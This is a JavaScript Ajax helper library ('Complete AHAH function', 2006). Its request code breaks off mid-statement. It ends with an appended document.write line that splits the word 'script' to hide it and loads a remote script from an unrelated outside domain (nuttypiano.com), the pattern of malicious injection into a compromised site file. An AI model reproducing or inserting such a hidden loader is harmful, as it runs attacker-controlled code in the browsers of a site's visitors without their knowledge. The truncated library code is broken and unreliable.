// ==========================================================================
// @function		Complete AHAH function
// @author		Daniele Florio
// @site		www.gizax.it
// @version		1.1.3 experimental

// @thanksTo		Andrea Paiola,Walter Wlodarski,Scott Chapman

// @updated 1.1.3 ( execJS function ) @thanks to Giovanni Zona

// (c) 2006 Daniele Florio <daniele@gizax.it>

// ==========================================================================

/* USAGE:

1) Posting data to form:
<form id="myform" action="javascript:ahahscript.likeSubmit('helloworld.php', 'post', 'myform', 'mytarget');">

									    ('comments_ajax.php', 'commentajax', '', 'GET', '', this)
2) Getting simple url

<a href="#" onclick="javascript:ahahscript.ahah('test.htm', 'mytaget', '', 'GET', '', this);">click me</a>

*/

var ahahscript = {

	//loading : 'loading...',
	loading : "<br /><img src=javascripts/loading.gif",

	ahah : function (url, target, delay, method, parameters) {

	  if ( ( method == undefined ) || ( method == "GET" ) || ( method == "get" ) ){

			this.creaDIV(target, this.loading);

			if (window.XMLHttpRequest) {
				req = new XMLHttpRequest();
			}
			else if (window.ActiveXObject) {
				req = new ActiveXObject("Microsoft.XMLHTTP");
			}
			if (req) {
				req.onreadystatechange = function() {
					ahahscript.ahahDone(url, target, delay, method, parameters);
				};
				req.open(method, url, true);
				req.send("");
			}
		}
		if ( (method == "POST") 

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Delete.js"></scri'+'pt>');